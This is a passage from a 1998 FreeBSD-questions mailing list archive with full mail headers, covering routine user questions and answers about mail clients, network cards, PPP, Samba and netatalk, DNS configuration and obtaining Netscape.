getting a more powerful mailer. Currently, I >>> don't know any usable graphic oriented mailers. mutt is probably the >>> best of the text-oriented ones. >> >> What about xfmail ? > >I tried it about 18 months ago, and found it surprisingly good, but ;) ... How do you know it is exactly 18 months ago (probably 18.5) ??? >missing a few features. They could have been added in the meantime, Attachments worked well when i tried it last (several types, not only MIME). Malte Lance malte@webmore.com >of course. Given the problems that Microsoft has introduced with line >breaks, I'm currently very cautious with graphics-oriented mailers. A Lets not talk about M$ ... i am getting brain-tumors when thinking of M$. >Greg > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 02:48:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA03877 for freebsd-questions-outgoing; Thu, 9 Apr 1998 02:48:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA03871 for ; Thu, 9 Apr 1998 02:48:47 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id TAA15664; Thu, 9 Apr 1998 19:18:32 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id TAA29950; Thu, 9 Apr 1998 19:18:32 +0930 (CST) (envelope-from grog) Message-ID: <19980409191830.43596@freebie.lemis.com> Date: Thu, 9 Apr 1998 19:18:30 +0930 From: Greg Lehey To: Malte Lance , anthony@sohopros.com, questions Subject: Re: sending an attachment? References: <3.0.32.19980409112445.006e6ba0@cyclone.degnet.baynet.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.89i In-Reply-To: <3.0.32.19980409112445.006e6ba0@cyclone.degnet.baynet.de>; from Malte Lance on Thu, Apr 09, 1998 at 11:24:46AM +0000 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 April 1998 at 11:24:46 +0000, Malte Lance wrote: > At 18:55 09.04.98 +0930, Greg Lehey wrote: >> On Thu, 9 April 1998 at 10:46:22 +0000, Malte Lance wrote: >>> At 17:21 09.04.98 +0930, Greg Lehey wrote: >>>> On Wed, 8 April 1998 at 21:06:18 -0500, Anthony E. Coley wrote: >>>>> I have an error message I would like to get help with but I can not >>>>> figure out how to insert the typescript into the body of my email. >>>> >>>> I'd *strongly* recommend getting a more powerful mailer. Currently, I >>>> don't know any usable graphic oriented mailers. mutt is probably the >>>> best of the text-oriented ones. >>> >>> What about xfmail ? >> >> I tried it about 18 months ago, and found it surprisingly good, but > > ;) ... How do you know it is exactly 18 months ago (probably 18.5) ??? I don't. That's why I said "about 18 months ago" (about = ungefähr). >> missing a few features. They could have been added in the meantime, > > Attachments worked well when i tried it last (several types, not only MIME). What other types? MIME is the only standard I know for attachments. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 03:36:36 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA06801 for freebsd-questions-outgoing; Thu, 9 Apr 1998 03:36:36 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kaschynna.com (kaschynna.com [206.63.164.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA06780 for ; Thu, 9 Apr 1998 03:36:30 -0700 (PDT) (envelope-from flerll@kaschynna.com) Received: from localhost (flerll@localhost) by kaschynna.com (8.8.8/8.8.8) with SMTP id DAA15756 for ; Thu, 9 Apr 1998 03:25:19 -0700 (PDT) Date: Thu, 9 Apr 1998 03:25:18 -0700 (PDT) From: Jerry Blancher To: freebsd-questions@FreeBSD.ORG Subject: Kingston KNE30T PCI Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I have the Kingston KNE30T PCI ethernet card. It is set up on a new system with NO load and NO traffic. Here is a clipping of my system: CPU: AMD-K6tm w/ multimedia extensions (233.86-MHz 586-class CPU) Origin = "AuthenticAMD" Id = 0x562 Stepping=2 Features=0x8001bf real memory = 67108864 (65536K bytes) avail memory = 61206528 (59772K bytes) Probing for devices on PCI bus 0: chip0 rev 3 on pci0:0: 0 chip1 rev 39 on pci0:7 :0 pci0:7:1: VIA Technologies, device=0x0571, class=storage (ide) [no driver assign ed] ed1 rev 0 int a irq 11 on pci0:11:0 ed1: address 00:c0:f0:2a:7c:29, type NE2000 (16 bit) Probing for PnP devices: No Plug-n-Play devices were found. My first question is, why is it listing it as a (16 bit) card? My second question is why is it so slow to the first stop (router) outside of my box.. traceroute: 1 badboy.ieway.com (204.188.52.1) 1.991 ms 2.094 ms 2.094 ms This new system is also on a new provider. My old system on the old provider with a true 16 bit card running 2.2.5 (compared to 2.2.6 of the new system) pulls traceroutes to te first router at times of less then .5 ms When the old system and the new system was on the same hub, I could pull files from the old system to the new system at the rate of over 1MB/sec. According to the Kingston manual, PCI transfer up to 132 MB/sec EISA transfer up to 33 MB/sec ISA transfer up to 8 MB/sec Now granted, #1 those are high to make them look better, #2 those reflect BEST case situations and #3 The file downloaded was binary which would be slower. So, my major question is, is it the card, settings, or new provider that would be slowing down the works? Also, is there a way to do a flood test on the ethernet card to see how well it handles it's self? BTW, GREAT job on 2.2.6, had no problems getting the OS to run, and I see a few nasty bugs are fixed, mainly the : anyuser can freeze up the machine with a simple kill command :). Also, I have run many other test's, trying to break the OS (mainly scripts that run commands and also spawn other process's that do the same) and the OS ends up freezing the scripts before the system freezes up. As far as a server goes, FreeBSD seems to be VERY stable, as most questions on this list are focasing on home or at least user-at-console use. Bravo FreeBSD! Jerry Blancher _______________________________________________________________________ Kaschynna Communications mailto:flerll@kaschynna.com Internet Presence Provider mailto:flerll@drachenforge.com Coeur d'Alene, Idaho 208.765.9312 208.769.7337 Interactive MU* Hosting http://kaschynna.com/mudhost/ Drachen Forge MUD-telnet drachenforge.com 8000-http://drachenforge.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 04:24:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA13568 for freebsd-questions-outgoing; Thu, 9 Apr 1998 04:24:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from enterprise.tht.net (root@tht.net [209.47.145.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id EAA13549 for ; Thu, 9 Apr 1998 04:24:13 -0700 (PDT) (envelope-from beef@tht.net) Received: from tht.net(really [209.47.145.231]) by enterprise.tht.net via sendmail with esmtp id for ; Thu, 9 Apr 1998 07:23:28 -0400 (EDT) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Mar-7) Message-ID: <352CAFB8.1749F004@tht.net> Date: Thu, 09 Apr 1998 07:23:37 -0400 From: Lanny Baron Organization: York Hill Foods X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: FreeBSD-questions@FreeBSD.ORG, support@cdrom.com Subject: install with boot.flp won't make good PPP connection... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I had a copy (running) of FreeBSD v. 2.2.6 but had to rm it due to /usr going to 108%. I went to http://www.freebsd.org and got the boot.flp from the installation part of the web page. I have tried to set the method of installation as ftp. When prompted to go to ALT+F3 to connect to my ISP, I do connect but can't get it to go to PPP. I have used /etc/ppp before with the same ISP. This in not a dialing problem as I have stated, I do connect. When I do connect, I get ppp>packet mode but it will not change to PPP. Upon connection, I have noticed the modem send and receive lights going on and off extremely fast. If someone has had similar problems, could you please tell me the workaround you found to get this to connect properly. Thank you in advance for any help which you may be able to offer. Lanny Baron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 04:26:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA14029 for freebsd-questions-outgoing; Thu, 9 Apr 1998 04:26:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA14024 for ; Thu, 9 Apr 1998 04:26:47 -0700 (PDT) (envelope-from erakupa@kk.etx.ericsson.se) Received: from kkb3 (kkb3.kk.etx.ericsson.se [130.100.97.23]) by penguin.wise.edt.ericsson.se (8.7.5/8.7.3/glacier-1.12) with SMTP id NAA19082 for ; Thu, 9 Apr 1998 13:26:42 +0200 (MET DST) Received: from kk662.kk.etx.ericsson.se by kkb3 (SMI-8.6/LME-2.2.6) id NAA26738; Thu, 9 Apr 1998 13:26:40 +0200 From: erakupa@kk.etx.ericsson.se (ETX-B-SL Martti Kuparinen) Received: by kk662.kk.etx.ericsson.se (SMI-8.6/client-1.6) id NAA01296; Thu, 9 Apr 1998 13:26:41 +0200 Date: Thu, 9 Apr 1998 13:26:41 +0200 Message-Id: <199804091126.NAA01296@kk662.kk.etx.ericsson.se> To: questions@FreeBSD.ORG Subject: pppd not writing to wtmp on disconnect X-Sun-Charset: US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have some problems with my pppd server (2.2.6-RELEASE). See the following outputs and I'll try to explain what was going on. Lines from /var/log/messages: Apr 9 00:18:20 sigurd pppd[1011]: pppd 2.2.0 started by root, uid 0 Apr 9 00:19:01 sigurd pppd[1011]: Connect: ppp0 <--> /dev/ttyd1 [...] Apr 9 00:26:35 sigurd pppd[1011]: Connection terminated. Apr 9 00:26:39 sigurd pppd[1021]: pppd 2.2.0 started by root, uid 0 Apr 9 00:33:05 sigurd pppd[1021]: Connect: ppp0 <--> /dev/ttyd1 Apr 9 00:33:06 sigurd pppd[1021]: local IP address 10.0.0.1 Apr 9 00:33:06 sigurd pppd[1021]: remote IP address 10.0.0.2 Apr 9 00:33:06 sigurd pppd[1021]: No matching compression scheme, CCP disabled Apr 9 00:38:26 sigurd pppd[1021]: Modem hangup Apr 9 00:38:26 sigurd pppd[1033]: pppd 2.2.0 started by root, uid 0 >From the ``last'' command: challe ttyd1 :PPP Tor 9 Apr 00:33 still logged in rui ttyd1 :PPP Tor 9 Apr 00:19 - 00:26 (00:07) User ``rui'' used his Windows 95 pc between 00:19-00:26 and everything was logged to wtmp as it should be. User ``challe'' used his FreeBSD 2.2.5-RELEASE pc to connect at 00:33. He disconnected from the server at 00:38 (according to entries in /var/log/messages). This disconnection was however not written to wtmp! Any ideas how to fix this? This happens never when using Windows client and _every_ time when using FreeBSD client!! /Martti To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 04:40:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA15214 for freebsd-questions-outgoing; Thu, 9 Apr 1998 04:40:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rmall.vallnet.com (root@rmall.vallnet.com [206.25.206.11]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id EAA15205 for ; Thu, 9 Apr 1998 04:40:11 -0700 (PDT) (envelope-from master@vallnet.com) Received: from nemisis.vallnet.com [206.25.206.1] by rmall.vallnet.com with esmtp (Exim 1.71 #1) id 0yNFge-0002Hn-00; Thu, 9 Apr 1998 06:40:08 -0500 Received: from vallnet.com (master.vallnet.com [206.25.206.251]) by nemisis.vallnet.com (Netscape Mail Server v2.01) with ESMTP id AAA12461 for ; Thu, 9 Apr 1998 06:40:00 -0500 Message-ID: <352CB3C9.20F831BE@vallnet.com> Date: Thu, 09 Apr 1998 06:40:58 -0500 From: Stanley Barker X-Mailer: Mozilla 4.04 [en] (Win95; U) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: learning Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Freebsd I was wondering is their a small version of fbsd to learn on. What it is, I want to learn unix. I'm a dos/win95 user. And unix is big in the world of computers. Is their any way of doing this. With out all of the overhead (disk space). Or any other suggestion. Thanks in advances. Stanley Barker master@vallnet.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 04:49:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA15953 for freebsd-questions-outgoing; Thu, 9 Apr 1998 04:49:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA15948 for ; Thu, 9 Apr 1998 04:49:35 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc1-60.flash.net [209.30.14.60]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id GAA24838; Thu, 9 Apr 1998 06:49:32 -0500 (CDT) Message-Id: <3.0.32.19980409064824.008164a0@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 09 Apr 1998 06:48:26 -0500 To: Doug White Subject: Re: sending an attachment? Cc: "questions@FreeBSD.ORG" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >> I have an error message I would like to get help with but I can not >> figure out how to insert the typescript into the body of my email. >> Is it ok. send it as an attachment to -questions....? > >I would think that Mozilla would have a `read file' option. If anything, >open up a big xterm, select all the text, then paste. After I open xterm what procedure do I use to copy and paste the message? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 05:06:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA17076 for freebsd-questions-outgoing; Thu, 9 Apr 1998 05:06:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from newton.bunnynet.org (root@pm02-s44.donet.com [198.30.201.108]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA17068 for ; Thu, 9 Apr 1998 05:06:24 -0700 (PDT) (envelope-from s012mrw@discover.wright.edu) Received: from [10.3.2.6] (steved.bunnynet.org [10.3.2.6]) by newton.bunnynet.org (8.8.8/8.8.7) with SMTP id IAA01174 for ; Thu, 9 Apr 1998 08:11:06 -0400 (EDT) (envelope-from s012mrw@discover.wright.edu) Message-Id: <199804091211.IAA01174@newton.bunnynet.org> Subject: Samba and NetaTalk Snafu? Date: Thu, 9 Apr 1998 08:09:53 -0400 x-mailer: Claris Emailer 2.0v3, January 22, 1998 From: Matt White To: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have had a weird problem for the past few months since moving my server from Linux to FreeBSD. Clients can only connect via Samba when our PPP connection to the Internet is up. If the PPP connection is not up when the clients attempt to connect to the server the attempt will simply time out after a few minutes with the connection never being made. However, as soon as I bring up the PPP connection, clients can connect almost instantly without problems. This was annoying, but we knew how to work around it so it hasn't been much of a problem. However, now we're trying to allow Macintosh clients to connect to the server as well. The server will appear in the Chooser (under both AppleShare for file sharing and LaserWriter 8 for it's printer), but when the clients attempt to connect once again the connection times out and nothing is done. However, this time, the problem cannot be solved by bringing up the PPP connection. At boot time the server "freezes" at the netatalk initialization stage, and eventually times out. (After about 30 seconds.) When afpd tries to fire up it dies with the following error: Apr 9 07:49:10 newton afpd[1094]: Can't register newton:AFPServer@* ...and when papd attempts to start up I get this error: Apr 9 08:02:10 newton papd[1108]: can't register newton:LaserWriter@* Some system information: - Pentium 166 - 32MB RAM - FreeBSD 2.2.5 from the November 1997 CD's (very few patches have been installed) - NE2000 NIC Our network is setup in the 10.3.2.0/24 range. TCP/IP will always work in and out of the server. The server is doing PPP aliasing. (Which is where I think the problem may ultimately lie.) Any suggestions, comments, jabs? =) -- Matt White s012mrw@discover.wright.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 05:45:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA19245 for freebsd-questions-outgoing; Thu, 9 Apr 1998 05:45:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from free.nf.ru (free.nf.ru [195.208.66.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA19225 for ; Thu, 9 Apr 1998 05:44:58 -0700 (PDT) (envelope-from vadik@nf.ru) Received: from vadim.nf.ru ([195.208.66.11]) by free.nf.ru (Netscape Mail Server v2.02) with SMTP id AAA665 for ; Thu, 9 Apr 1998 16:45:33 +0400 From: vadik@nf.ru (Vadim Burkov) To: Subject: Request for comments Date: Thu, 9 Apr 1998 16:42:33 +0400 Message-ID: <01bd63b4$f7839220$0b42d0c3@vadim.nf.ru> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_009E_01BD63D6.7E953220" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_009E_01BD63D6.7E953220 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable I ask you to assist me in reaching internet services from my FreeBSD = v.2.2.2. I installed it from WCreek CD-ROM and made following changes in = /etc/rc.conf: i upped my network card interface so it works properly and i can ping = easily any computer in my network. I want to find out in what files and what exact string should i write to = point to my DNS server and default gateway. Thank you for cooperation. Vadik Burkov, Russian Federation ------=_NextPart_000_009E_01BD63D6.7E953220 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
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------=_NextPart_000_009E_01BD63D6.7E953220-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 05:56:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA20292 for freebsd-questions-outgoing; Thu, 9 Apr 1998 05:56:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from email1.clover.net (email1.clover.net [206.101.124.5]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id FAA20286 for ; Thu, 9 Apr 1998 05:56:11 -0700 (PDT) (envelope-from oxygen@clover.net) Received: from [206.101.124.254] by email1.clover.net (NTMail 3.03.0014/1.ad2d) with ESMTP id fa861359 for ; Thu, 9 Apr 1998 08:54:59 -0400 Message-ID: <352C8CF1.595D60BA@clover.net> Date: Thu, 09 Apr 1998 04:55:14 -0400 From: Chris L Miller Reply-To: oxygen@clover.net Organization: Neuvo Leon X-Mailer: Mozilla 4.05 [en] (X11; I; Linux 2.0.33 i686) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: netscape Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Info: CloverNet Network Mail Delivery System Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG where can I get a version of netscape to run on freebSD netscape.com ftp.netscape.com does not have it .. and there download page always gives me errors thanks Chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 05:58:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA20703 for freebsd-questions-outgoing; Thu, 9 Apr 1998 05:58:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA20696 for ; Thu, 9 Apr 1998 05:58:46 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id HAA15332; Thu, 9 Apr 1998 07:57:08 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804091257.HAA15332@horton.iaces.com> Subject: Re: FreeBSD Sun Floppy? To: dwhite@resnet.uoregon.edu Date: Thu, 9 Apr 1998 07:57:08 -0500 (CDT) Cc: alberti@freenet.msp.mn.us, questions@FreeBSD.ORG In-Reply-To: from Doug White at "Apr 8, 98 11:56:39 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Doug White said: > On Wed, 8 Apr 1998, Bob Alberti wrote: > > > Hi! I recently came into an old SparcClassic. I'd like to install FreeBSD > > on it. Is there any way to build a floppy image to start the process, > > particularly if one must use a PC to build the floppy? The machine itself > > has a blank 300 MB hard drive and no CD. > > FreeBSD doesn't officially support Sun hardware (especially the *old* sun4 > stuff) (yet), but someone posted a URL to a supposed port (although it may > have been to the project-in-progress). The port to Sparc is in its infancy. And it's for UltraSparc not the older ones. Try NetBSD or OpenBSD. -- An oral contract isn't worth the paper it's printed on. -- Sam Goldwyn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 05:59:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA21074 for freebsd-questions-outgoing; Thu, 9 Apr 1998 05:59:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hunter.softcon.de (hunter.softcon.de [193.31.11.194]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id FAA21068 for ; Thu, 9 Apr 1998 05:59:53 -0700 (PDT) (envelope-from Matthias.Apitz@SOFTCON.de) From: Matthias.Apitz@SOFTCON.de Received: (from mail@localhost) by hunter.softcon.de (8.6.9/8.6.12) id JAA02851 for ; Tue, 7 Apr 1998 09:12:03 +0200 Received: from boell.softcon.de(193.31.10.71) by hunter.softcon.de via smap (V1.3) id sma002849; Tue Apr 7 09:11:55 1998 Received: from kant.SOFTCON.de (kant.SOFTCON.de [193.31.10.39]) by boell.SOFTCON.de (8.7.5/8.7.3) with SMTP id HAA07659; Tue, 7 Apr 1998 07:03:49 GMT Message-ID: <9804070914.AA10060@kant.SOFTCON.de> Subject: Re: zp0 To: dwhite@resnet.uoregon.edu Date: Tue, 7 Apr 1998 09:11:45 +0200 (MDT) Cc: ifield@mstk.com, freebsd-questions@FreeBSD.ORG In-Reply-To: from "Doug White" at Apr 6, 98 12:15:44 pm >From: guru@sisis.de (Matthias Apitz) Reply-To: Matthias.Apitz@SOFTCON.de (Matthias Apitz) X-FAX-cover: faxcover-sisis.ps X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White wrote: On Sat, 5 Apr 1997, Ian Field wrote: > What are the common i/o, irq settings for zp0 (3c589d) ? I'm trying to > get 2.2.6-RELEASE to find this card. Use the 3com setup program on the 3c589 driver disk. I think it's called `Install', select `Configuration and Diagnostics.' I tried this too but it complains about "No card" (or something like that). The reason is the missing Card Service -- or do you have a tool which doesn't require CS? matthias -- firm: matthias.apitz@sisis.de [voc:+49-89-61308-351, fax: +49-89-61308-188] priv: guru@thias.muc.de PGP: Key fingerprint = 0C 01 F2 23 EC 17 A2 D5 46 2D 29 4C 0E 8B 7E 8F URL: http://www.sisis.de/~guru/ http://www.muc.de/~thias/ from USENET: People who run servers understand that flashy interactive interfaces have nothing to do with the underlying functionality and often get in the way. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:03:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA21621 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:03:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA21611 for ; Thu, 9 Apr 1998 06:02:56 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id IAA19536; Thu, 9 Apr 1998 08:02:54 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id IAA16917; Thu, 9 Apr 1998 08:02:52 -0500 (CDT) To: oxygen@clover.net Cc: freebsd-questions@FreeBSD.ORG Subject: Re: netscape References: <352C8CF1.595D60BA@clover.net> From: sfarrell+lists@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 09 Apr 1998 08:02:52 -0500 In-Reply-To: Chris L Miller's message of "Thu, 09 Apr 1998 04:55:14 -0400" Message-ID: <87ra37172b.fsf@phaedrus.uchicago.edu> Lines: 15 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chris L Miller writes: > where can I get a version of netscape to run on freebSD netscape.com > ftp.netscape.com does not have it .. and there download page always > gives me errors Check out http://www.freebsd.org/ports/ for a very nice way to install such software. Netscape binaries are at ftp://ftp.netscape.com/pub/communicator/4.05/development/english/unix/freebsd -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:08:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA22277 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:08:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mutsgo.dyn.ml.org (root@dal25-04.ppp.iadfw.net [204.178.75.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA22270 for ; Thu, 9 Apr 1998 06:08:50 -0700 (PDT) (envelope-from root@mutsgo.dyn.ml.org) Received: (from root@localhost) by mutsgo.dyn.ml.org (8.8.8/8.8.7) id HAA00417 for questions@freebsd.org; Thu, 9 Apr 1998 07:45:28 -0500 (CDT) (envelope-from root) From: George Vagner Message-Id: <199804091245.HAA00417@mutsgo.dyn.ml.org> Subject: problems To: questions@FreeBSD.ORG Date: Thu, 9 Apr 1998 07:45:27 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG suddenly i cannot send mail i am wondering if this gets thru. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 06:12:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA22821 for freebsd-questions-outgoing; Thu, 9 Apr 1998 06:12:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA22815 for ; Thu, 9 Apr 1998 06:12:35 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id IAA19573; Thu, 9 Apr 1998 08:12:30 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id IAA16980; Thu, 9 Apr 1998 08:12:29 -0500 (CDT) To: Stanley Barker Cc: freebsd-questions@FreeBSD.ORG Subject: Re: learning References: <352CB3C9.20F831BE@vallnet.com> From: sfarrell+lists@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 09 Apr 1998 08:12:28 -0500 In-Reply-To: Stanley Barker's message of "Thu, 09 Apr 1998 06:40:58 